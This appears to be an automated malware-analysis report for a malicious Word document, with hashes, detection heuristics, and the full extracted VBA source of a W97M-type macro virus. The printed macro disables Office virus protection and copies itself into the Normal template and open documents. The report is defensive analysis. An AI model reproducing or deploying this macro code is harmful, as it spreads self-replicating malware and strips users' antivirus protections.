Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bfd7ab27aa7daee…

MALICIOUS

Office (OLE)

41.0 KB Created: 2015-06-24 12:29:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 51af07c05075fe366464eb154850e270 SHA-1: 6792ca5d66cb2108a09a49582eaa1ba072bbd99f SHA-256: 4bfd7ab27aa7daeea0f2889dc7f67ba2b3518cedfc15d91b5ade0a071d77b083
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The sample contains VBA macros that attempt to disable virus protection and replicate themselves across documents. The Document_Open macro is designed to execute upon opening the document, disabling macro security settings and copying its code to the active document. This behavior suggests an attempt to achieve persistence and spread.

Heuristics 5

  • ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.tmli.net In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1413 bytes
SHA-256: 678ca8df01b2856b9ae0e9719a707fc48a05d9084b1b9c7f0f454639a21aa155
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Close()Open()Close()Open()
Private Sub Document_Open()
    On Error Resume Next
    Options.VirusProtection = False
    EnableCancelKey = wdCancelDisabled
    Set maci = MacroContainer.VBProject.VBComponents.Item(1)
    Set macic = maci.codemodule
    ns$ = Left(macic.Lines(1, 1), 21)
    Set inf = NormalTemplate: nsi$ = ns$ + "Close()"
        If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"
    Set infc = inf.VBProject.VBComponents
    Set infi = infc.Item(1)
    Set infic = infi.codemodule
    infi.Name = "ThisDocument"
    For mx = 2 To infc.Count
        infc.Remove infc.Item(2)
    Next mx
        If infic.countlines <> macic.countoflines Then
            infic.deletelines 1, infic.countoflines
            For coco = 1 To macic.countoflines
                infic.insertlines coco, macic.Lines(coco, 1)
            Next coco
            infic.replaceline 1, nsi$
        End If
    If Left(ActiveDocument.Name, 8) <> Mid$(macic.Lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    EnableCancelKey = wdCancelDisabled
End Sub

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